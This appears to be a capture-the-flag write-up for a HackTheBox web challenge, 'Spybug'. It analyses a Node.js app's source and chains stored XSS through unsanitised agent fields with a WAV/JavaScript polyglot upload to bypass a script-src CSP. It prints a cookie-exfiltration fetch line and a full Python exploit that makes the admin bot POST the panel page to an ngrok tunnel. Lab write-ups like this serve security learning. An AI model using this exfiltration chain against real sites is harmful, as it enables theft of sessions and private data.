Category: Web
Difficulty: Medium
Description: As Pandora made her way through the ancient tombs, she received a message from her contact in the Intergalactic Ministry of Spies. They had intercepted a communication from a rival treasure hunter who was working for the alien species. The message contained information about a digital portal that leads to a software used for intercepting audio from the Ministry’s communication channels. Can you hack into the portal and take down the aliens counter-spying operation?
Address: 165.232.100.46:31763
Attachments: web_spybug.zip
If we visit the provided address we will see a login page that asks us for username and password, and nothing else is present: Since we have also the source code of the website, let’s take a look into it.
From the Dockerfile we can see that the website is made using node and, from the web_spybug/build-docker.sh
file we can see that the flag is stored in the FLAG
environment variable. Also the session key and the admin password are stored inside environment variables, but they are not hardcoded, so we cannot know them. If we look at the code in the web_spybug/challenge/index.js
file we can see 2 interesting things:
....
....
application.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';");
res.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
res.setHeader("Pragma", "no-cache");
res.setHeader("Expires", "0");
next();
});
....
....
setInterval(visitPanel, 60000);
From the first slice of code we can see that the website use some specific HTTP headers, and in particular it uses the Content-Security-Policy
header with the following values:
script-src: 'self'
specifies that only javascript scripts provided by the website itself are allowed.frame-ancestors: 'none'
specifies that pages of this website cannot be embedded in other pages.object-src: 'none'
specifies that no objects are allowed.base-uri: 'none'
specifies that no URLs can be loaded using HTML elements. From the second slice we can see that every 60 seconds the functionvisitPanel
will be called. If we look at its source code, located in theweb_spybug/challenge/utils/adminbot.js
file, we can see this:
exports.visitPanel = async () => {
try {
const browser = await puppeteer.launch(browserOptions);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
await page.goto("http://0.0.0.0:" + process.env.API_PORT, {
waitUntil: "networkidle2",
timeout: 5000,
});
await page.type("#username", "admin");
await page.type("#password", process.env.ADMIN_SECRET);
await page.click("#loginButton");
await page.waitForTimeout(5000);
await browser.close();
} catch (e) {
console.log(e);
}
};
So, every 60 seconds, a login will be done by an automated browser using the credentials of the admin
user. After that it waits on the new page for 5 seconds and finally the browser is closed. Since everything we know up to now has something to do with the login page, let’s see what it does. It’s source code is in the web_spybug/challenge/routes/panel.js
file:
router.post("/panel/login", async (req, res) => {
let username = req.body.username;
let password = req.body.password;
if (!(username && password)) return res.sendStatus(400);
if (!(await checkUserLogin(username, password)))
return res.redirect("/panel/login");
req.session.loggedin = true;
req.session.username = username;
res.redirect("/panel");
});
It basically checks username and password using a function called checkUserLogin
, which is stored in the web_spybug/challenge/utils/database.js
file:
exports.checkUserLogin = async (username, password) => {
const results = await db.User.findOne({
where: {
username: username,
},
});
if (!results) return false;
if (!bcrypt.compareSync(password, results.password)) return false;
return true;
};
It perform a simple check, but I cannot see any flaw. If we go back to the login handling function we can see that, if the login is successful, some values are stored in the session (and in particular req.session.loggedin = true;
) and the user is redirected to the /panel
page. Let’s see what this page is:
router.get("/panel", authUser, async (req, res) => {
res.render("panel", {
username:
req.session.username === "admin"
? process.env.FLAG
: req.session.username,
agents: await getAgents(),
recordings: await getRecordings(),
});
});
Interesting!! If we login as admin, then this page will directly shows us the flag! So our objective is to visit the /panel
endpoint after logged in as admin
. In this page there are also other things that are rendered, and are produced by 2 functions named getAgents
and getRecordings
so let’s see what they do:
exports.getAgents = async () => {
const results = await db.Agent.findAll();
if (!results) return false;
return results;
};
exports.getRecordings = async () => {
const results = await db.Recording.findAll();
if (!results) return false;
return results;
};
They only fetch all the recordings and all the agents and display them. The next thing I want to know now is: how agents and recordings are created? In the web_spybug/challenge/routes/agents.js
file and in the web_spybug/challenge/utils/database.js
file there are some functions and endpoints that have something to do with them. We can see that:
- we can create new agents through a GET request to the
/agents/register
endpoint, and the credentials of the newly agent will be returned to us in json format. - we can update some details about an existing agent (called
hostname
,platform
, andarch
) through a POST request to the/agents/details/:identifier/:token
, where we have to specify in the path the credentials of an existent agent. One thing that caught my attention is that those details that we provide aren’t sanitized in any way and are stored as they are. - we can upload new recordings, that will be associated to an existing agent, through a POST request to the
/agents/upload/:identifier/:token
endpoint and receive the new file name. Note that the newly uploaded file will be saved in the/uploads
folder. And all this can be done without the need to be logged in.
My first thought were: well, since the values of the details aren’ sanitized, and they are then displayed in the panel page, we can inject some inline javascript HTML tag in one of those so that it will be rendered and we can execute our own javascript code. And then, since the panel page is visited every 60 seconds by an automated browser, which before perform a login as admin
, we can steal its session cookie and visit the panel page as admin without the need of knowing the credentials. It seemed easy… BUT I didn’t remember about the Content-Security-Policy
header that we have seen earlier, and in particular the script-src: 'self'
value. This means that we cannot execute inline javascript code, but only code that is stored into a file on the web server. I remembered this after a lot of trial and errors….
Now, we can recall that we can upload new recordings by using the /agents/upload/:identifier/:token
endpoint. Let’s take a closer look at what it does:
....
....
const storage = multer.diskStorage({
filename: (req, file, cb) => {
cb(null, uuidv4());
},
destination: (req, file, cb) => {
cb(null, "./uploads");
},
});
const multerUpload = multer({
storage: storage,
fileFilter: (req, file, cb) => {
if (
file.mimetype === "audio/wave" &&
path.extname(file.originalname) === ".wav"
) {
cb(null, true);
} else {
return cb(null, false);
}
},
});
....
....
router.post(
"/agents/upload/:identifier/:token",
authAgent,
multerUpload.single("recording"),
async (req, res) => {
if (!req.file) return res.sendStatus(400);
const filepath = path.join("./uploads/", req.file.filename);
const buffer = fs.readFileSync(filepath).toString("hex");
if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) {
fs.unlinkSync(filepath);
return res.sendStatus(400);
}
await createRecording(req.params.identifier, req.file.filename);
res.send(req.file.filename);
}
);
We can see that it checks:
- if the mime type is
audio/wave
. - if the extension of the original file uploaded was
.wav
. - if it contains the magic numbers that are contained into a wave file. So we can create our custom file, with the wave magic numbers and that contains javascript code. The end result is something like this:
RIFFaaaaWAVE=0;
fetch('http://ADDRESS/?cookies=' + document.cookies);
In this way, when the automated browser will visit the panel page, this script will be executed and, as a result will make a GET request to a server controlled by us appending in the query the name and the value of every cookie set, and also the session cookie. Ok, so I writed a script to do this, fired up a local server and launched that script… but nothing happened…
After a while I saw that the cookies of this website were saved with the HttpOnly
option enabled, and this means that we cannot access them through javascript code. After a while I realized that, since the page will be seen by someone that is already logged in with the admin credentials, it is already able to see the flag. So, instead of trying to get the flag by ourself, why don’t we get it sended by the one who can already see it. So in the javascript code we can perform a POST request, and append the flag in the body, but since I’m not that good at javascript and didn’t want to loose other time, I will send the entire page content… just to be sure.
Ok, now to recap all what we have to do:
- create a new agent with a GET request to
/agents/register
and retrieve the new credentials. - craft the custom wave file with javascript code inside that will reach back to us.
- update that file with a POST request to
/agents/upload/:identifier/:token
and retrieve its name on the server. - Update the details of the agent we created before, and inject a HTML script tag that will refer to our uploaded wave file.
- Fire up a server listening on our machine and wait for the automated browser to visit the
/panel
endpoint.
In order to automate all this I created this python script:
#!/usr/bin/env python3
import requests
import json
from pyngrok import ngrok
from http.server import HTTPServer, BaseHTTPRequestHandler
ADDRESS = "165.232.100.46:31763"
LOCAL_SERVER_PORT = 8080
def steal_page() -> str:
stealed_page = ''
class HTTPPageStealer(BaseHTTPRequestHandler):
def do_POST(self):
nonlocal stealed_page
stealed_page = self.rfile.read(int(self.headers['Content-Length'])).decode()
self.send_response(200)
self.end_headers()
return
http_server = HTTPServer(('localhost', LOCAL_SERVER_PORT), HTTPPageStealer)
http_server.handle_request() # only one request is handled
return stealed_page
def get_js_script(public_url: str) -> str:
return f"""RIFFaaaaWAVE=0;
fetch('{public_url}/', {{method: 'POST', body: document.documentElement.innerHTML }});
"""
def main():
# create new agent
resp = requests.get(f"http://{ADDRESS}/agents/register")
agent_creds = json.loads(resp.text)
# create public tunnel
http_tunnel = ngrok.connect(LOCAL_SERVER_PORT, 'http')
# create craftet .wav file
with open("test.wav", "wb") as f:
f.write(get_js_script(http_tunnel.public_url).encode())
# upload the crafted .wav file
file = {"recording": ('test.wav', open("test.wav", "rb"), "audio/wave")}
resp = requests.post(f"http://{ADDRESS}/agents/upload/{agent_creds['identifier']}/{agent_creds['token']}", files=file)
# inject script tag
remote_file_path = '/uploads/' + resp.text
resp = requests.post(f"http://{ADDRESS}/agents/details/{agent_creds['identifier']}/{agent_creds['token']}", json={
"hostname": f'<script src="{remote_file_path}"></script>',
"platform": "test",
"arch": "test"
}, headers={
"Content-Type": "application/json"
})
# steal /panel content
panel_page = steal_page()
ngrok.disconnect(http_tunnel.public_url)
flag = panel_page.split('HTB{')[1]
flag = "HTB{" + flag.split('}')[0] + '}'
print(flag)
if __name__ == "__main__":
main()
Finally, if we execute it:
$ chmod +x exploit.py
$ ./exploit.py
HTB{p01yg10t5_4nd_35p10n4g3}